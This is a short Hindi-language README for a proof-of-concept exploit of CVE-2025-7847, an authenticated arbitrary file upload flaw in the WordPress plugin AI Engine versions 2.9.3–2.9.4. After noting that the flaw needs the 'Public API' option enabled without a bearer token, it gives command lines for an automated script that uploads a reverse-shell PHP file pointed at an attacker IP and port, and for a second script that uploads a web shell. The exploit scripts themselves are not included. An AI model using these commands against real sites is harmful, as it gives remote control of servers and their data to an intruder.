CVE-2025-7847 वर्डप्रेस प्लगइन: प्रमाणित सब्सक्राइबर द्वारा मनमाना फ़ाइल अपलोड POC

वर्डप्रेस प्लगइन AI Engine 2.9.3 - 2.9.4 प्रूफ ऑफ कॉन्सेप्ट

कृपया ध्यान दें कि यह कमज़ोरी केवल तभी शोषित की जा सकती है जब “Public API” विकल्प सक्षम हो, जो डिफ़ॉल्ट रूप से अक्षम है, और कोई Bearer Token कॉन्फ़िगर नहीं किया गया है, और न ही API की सुरक्षा के लिए कस्टम प्रमाणीकरण जोड़ा और उपयोग किया गया है।

स्वचालित संस्करण

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

केवल वेब शेल अपलोड

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php